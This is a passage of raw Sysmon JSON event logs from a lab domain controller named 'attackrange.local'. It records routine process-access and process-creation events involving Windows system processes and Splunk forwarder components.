11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6176,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6177,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6178,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6179,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6180,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4229-5F2D-0000-00101F190900}\r\nTargetProcessId: 4652\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4229-5F2D-0000-00101F190900}","TargetProcessId":"4652","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6181,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:37.525\r\nSourceProcessGUID: {90617006-4229-5F2D-0000-00101F190900}\r\nSourceProcessId: 4652\r\nSourceThreadId: 484\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:37.525","SourceProcessGUID":"{90617006-4229-5F2D-0000-00101F190900}","SourceProcessId":"4652","SourceThreadId":"484","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6182,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.090\r\nProcessGuid: {90617006-422A-5F2D-0000-0010581B0900}\r\nProcessId: 3168\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.090","ProcessGuid":"{90617006-422A-5F2D-0000-0010581B0900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6183,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.088\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-422A-5F2D-0000-0010581B0900}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.088","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-422A-5F2D-0000-0010581B0900}","TargetProcessId":"3168","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6184,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:38.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422A-5F2D-0000-0010581B0900}\r\nTargetProcessId: 3168\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:38.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422A-5F2D-0000-0010581B0900}","TargetProcessId":"3168","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 